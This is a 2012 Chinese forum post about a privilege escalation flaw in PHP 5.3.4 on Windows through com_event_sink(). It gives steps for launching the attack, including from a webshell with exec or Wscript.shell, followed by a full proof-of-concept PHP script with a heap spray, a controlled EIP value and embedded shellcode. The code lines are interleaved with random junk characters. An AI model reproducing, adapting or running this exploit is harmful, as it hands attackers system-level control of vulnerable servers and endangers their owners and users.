找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中# v5 [  u! E  ?2 `! Z& V
" h% s/ _6 g# ~# V2 P
测试方法如下:cmd /c x:\php\php.exe x:\test.php
" z* c: K+ B! [( _( p' B! a  w. E# F9 U0 c4 H" T4 q) I+ R
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
; D. d4 k; ]+ _8 s1 g这里是两个测试的截图:5 B3 c2 t( o' ]* S$ Q& n' L# T

0 i8 d% w9 `6 x% a) l7 r) ~- t5 W8 v

; J% @$ x5 d7 `! I, d; y" t" x  u. M. y& T# i
. r% D4 p2 F0 K, Z" F2 _
成功利用此漏洞的攻击者将获得系统的最高权限
0 v6 C0 d1 _: z. i
2 `+ O$ t. I7 E! l0 J- R' D9 L$ i* u* h. b

. D# H5 ~( l+ ?3 r, u
6 H) v5 e- v' L& L, L) k$ G% P9 U8 M3 m8 L5 R: p* J
关于漏洞分析稍后附上。一下是PoC代码:
  P! j# ]9 o9 ?3 m6 I) l8 T0 p6 P$ r0 q
<?php
. X4 |; a/ b, K6 H! F( [//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
# U; B0 j, W. S( {//$eip ="\x44\x43\x42\x41";  {* o& {- ~$ e
$eip= "\x4b\xe8\x57\x78";" d. g* u% l4 Z* Q8 W& F/ j
$eax ="\x80\x01\x8d\x04";. N1 G/ q" E: S+ z7 ?5 Y" E* y
$deodrant="";
/ q" p7 C+ F& G7 l! Y8 m, z$axespray = str_repeat($eip.$eax,0x80);
5 o) W% u. w" \. }8 w( S//048d0190
* B, V( }/ U$ N) F7 J5 Gecho strlen($axespray);
; l9 |" p' h# n! yecho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
+ E3 I1 e. y! ~0 s4 Pecho "Silic Group Hacker Army - BlackBap.Org";! z, Y" i1 s8 w5 [
//19200 ==4B32 4b00
, e; t3 S& A$ R8 nfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
/ o1 a3 z. C% v5 R: v: Y( N9 r$terminate = "T";
3 z0 Q9 j( J4 X- t- U5 ^, ]; U$u[] =$deodrant;7 E# f, K- }- U) i1 A
$r[] =$deodrant.$terminate;3 g- Z$ l/ c, X# F* d" M
$a[] =$deodrant.$terminate;8 b4 u+ H* n* h& [
$s[] =$deodrant.$terminate;
: b+ w/ R2 ^/ G1 \  m) W//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
  o4 C5 }9 e- t7 h- N7 D$vVar = new VARIANT(0x048d0000+180);
4 B; c. ~$ e# O" S+ S//弹窗代码(Shellcode)7 `6 n; m) o& ^8 d& @
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";9 H" M9 q9 T' o2 N" Y$ g* U
$var2 = new VARIANT(0x41414242);' O* I( z2 g/ h8 B& n' a0 N
com_event_sink($vVar,$var2,$buffer);
, A, q+ o: v) i, u; E' Q?>9 j. ^: P2 R# S: o

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表